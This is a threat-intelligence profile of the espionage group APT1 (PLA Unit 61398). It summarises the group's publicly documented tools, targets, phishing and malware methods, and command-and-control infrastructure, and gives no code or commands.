    • Email-exfiltration utilities: GETMAIL (used to extract PST files) and MAPIGET (used to read emails that haven’t been archived).
    • Public privilege-escalation tools: examples include cachedump, fgdump, and gsecdump, not unique to APT1 but observed in their operations.
    • HTRAN (HUC Packet Transmit Tool) – used as a hop/proxy relay to forward communications between victims and command-and-control servers, helping to obscure origin and routing.
  • MITRE ATT&CK: https://attack.mitre.org/groups/G0006/

Description

APT1, often called the Comment Crew or PLA Unit 61398, is one of the most infamous and well-documented cyber espionage groups linked to the Chinese government. First brought into the spotlight by Mandiant’s 2013 report, APT1 was among the first hacking units publicly tied to a specific branch of China’s military, the People’s Liberation Army, revealing the true scale of state-backed digital espionage for economic and strategic gain.

Active since at least 2006, APT1 ran one of the most disciplined and long-running hacking operations ever uncovered. Its members focused on stealing intellectual property and confidential business information from hundreds of organizations across industries like aerospace, defense, energy, telecom, and manufacturing – mostly in the United States, but also in Europe and Asia. Everything they took seemed to serve China’s national interests, whether by boosting its industries or informing military and political strategies.

Technically, APT1 was known for its methodical and repeatable playbook. The group broke in through targeted phishing emails and custom malware such as the WEBC2 family (with variants like WEBC2-AUSOV and WEBC2-GREENCAT). Once inside, they established persistence with credential-stealing tools (GETMAIL, MAPIGET, FGDump) and routed stolen data through a vast command-and-control network of more than 1,000 servers and 2,500 domains, often masked with tools like HTRAN to hide their tracks. Their infrastructure and coding style were remarkably consistent, the work of full-time engineers, not lone hackers.

What made APT1 stand out wasn’t just the scale of its operations, but the professionalism behind it. Investigators found evidence of shift-based work hours, organized infrastructure, and shared codebases, all pointing to a state-run, military-grade espionage unit based in Shanghai. The exposure of APT1 changed how the world viewed cyber conflict, proving that digital espionage could be conducted with the same structure and intent as any traditional military campaign.

In many ways, APT1 set the template for the modern nation-state hacking group: large, organized, patient, and focused on long-term strategic advantage rather than chaos or quick profit. Its legacy still shapes how governments and companies think about cybersecurity and geopolitical risk today.

References: